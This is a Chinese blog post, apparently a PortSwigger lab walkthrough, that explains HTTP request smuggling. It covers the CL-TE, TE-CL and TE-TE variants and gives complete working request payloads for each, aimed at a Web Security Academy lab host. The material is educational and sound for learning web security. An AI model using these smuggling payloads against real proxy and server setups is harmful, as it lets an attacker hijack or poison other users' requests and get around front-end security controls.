Frieza

MS08067安全实验室

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

漏洞成因

为了缓解源站的压力,一般会在用户和后端服务器之间加设前置服务器,用以缓存,简单校验,负载均衡等;而前置服务器与后端服务器往往是在可靠的网络域中,ip 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销.这里就用到了 HTTP1.1 中的 Keep-Alive 和 Pipeline

所谓 Keep-Alive,就是在 HTTP 请求中增加一个特殊的请求头 Connection: Keep-Alive,告诉服务器,接收完这次 HTTP 请求后,不要关闭 TCP 链接,后面对相同目标服务器的 HTTP 请求,重用这一个 TCP 链接,这样只需要进行一次 TCP 握手的过程,可以减少服务器的开销,节约资源,还能加快访问速度.这个特性在 HTTP1.1 中是默认开启的

有了 Keep-Alive 之后,后续就有了 Pipeline,在这里呢,客户端可以像流水线一样发送自己的 HTTP 请求,而不需要等待服务器的响应,服务器那边接收到请求后,需要遵循先入先出机制,将请求和响应严格对应起来,再将响应发送给客户端.现如今,浏览器默认是不启用 Pipeline 的,但是一般的服务器都提供了对 Pipleline 的支持

当我们向代理服务器发送一个比较模糊的 HTTP 请求时,由于两者服务器的实现方式不同,可能代理服务器认为这是一个 HTTP 请求,然后将其转发给了后端的源站服务器,但源站服务器经过解析处理后,只认为其中的一部分为正常请求,剩下的那一部分,就算是走私的请求,当该部分对正常用户的请求造成了影响之后,就实现了 HTTP 走私攻击

原理

利用不同服务器对Request请求处理方式不同来进行请求走私

  1. 在发送畸形HTTP请求时,服务器不能识别,会返回400状态码,bad request
  2. 而在RFC2616的第4.4节中,规定:如果收到同时存在Content-Length和Transfer-Encoding这两个请求头的请求包时,在处理的时候必须忽略Content-Length,这其实也就意味着请求包中同时包含这两个请求头并不算违规,服务器也不需要返回400错误.但是,总是会有不遵守的服务器出现,这样就存在了差异性,导致出现问题

走私方式

CL-TE

在前端服务器中,是以CL(Content-Length)为准,所以前端服务器认为这是一个包,全部转发给后端服务器,而在后端服务器,是以TE(Transfer-Encoding)为准,服务器会接收前端服务器的转发的请求数据,放在缓冲区中,当读取到     0\r\n 时,认为一个请求完全结束,后面的数据依然存在于缓冲区,等待下一次转发的数据进入缓冲区,而当我们第二次发送请求时,我们缓冲区的G就成了下一次请求的开始,变成  GPOST / HTTP/1.1 ,成功构造 GPOST请求

请求包
需要进行两次请求, 第一次请求返回为正常, 第二次请求走私成功

POST / HTTP/1.1
Host: ac961fbf1fe414c2803b4be800d2004b.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: session=K2HLgdHFIPqvXuJNCTXWIVwTaUwGUaWd
Upgrade-Insecure-Requests: 1
Content-Length: 8
Transfer-Encoding: chunked

0


G

原始数据包:
image

第一次请求,正常返回
image

第二次请求, 走私成功
image

TE-CL

前端服务器接收客户端数据,认为是一次请求,转发给后端服务器,后端服务器读取CL(Content-Length)长度为4,读取到12\r\n结束,认为一个请求完全结束,后面的数据依然存在于缓冲区,等待下一次转发的数据进入缓冲区,而当我们第二次发送请求时,我们缓冲区的 GPOST / HTTP/1.1 就成了下一次请求的开始

注: TE-CL是前端服务器以TE(Transfer-Encoding)为准,后端服务器以CL(Content-Length)为准,这块需要注意的点是,Burp会自动计算Content-Length长度,需要把这个√去掉
image

请求包

POST / HTTP/1.1
Host: ac961fbf1fe414c2803b4be800d2004b.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: session=K2HLgdHFIPqvXuJNCTXWIVwTaUwGUaWd
Upgrade-Insecure-Requests: 1
Content-Length: 4
Transfer-Encoding: chunked

12
GPOST /HTTP/1.1

0

原始数据包
image

第一次提交,返回正常
image

第二次提交,走私成功
image

TE-TE

前端服务器和后端服务器都是采用TE(Transfer-Encoding)为准,但是我们可以构造数据,导致一端不识别TE来达到,可以将TE-TE转换成TE-CL完成请求走私
当双写Transfer-Encoding时(Transfer-Encoding: chunked 在前),可以混淆后端服务器对TE的处理

请求包

POST / HTTP/1.1
Host: ac961fbf1fe414c2803b4be800d2004b.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: session=K2HLgdHFIPqvXuJNCTXWIVwTaUwGUaWd
Upgrade-Insecure-Requests: 1
Content-Length: 4
Transfer-Encoding: aaaa
Transfer-Encoding: chunked

12
GPOST /HTTP/1.1

0

可以理解为,前端服务器遇到双TE头,以第一个TE头为准,如果第一个TE头不能成功处理,返回500,而后端服务器遇到双TE头,以最后一个TE头为准,如果TE头不能成功处理,则转为CL处理,实现了 TE-TE 到 TE-CL的请求走私
image

posted on 2021-04-01 16:41  Frieza_021  阅读(278)  评论(0编辑  收藏  举报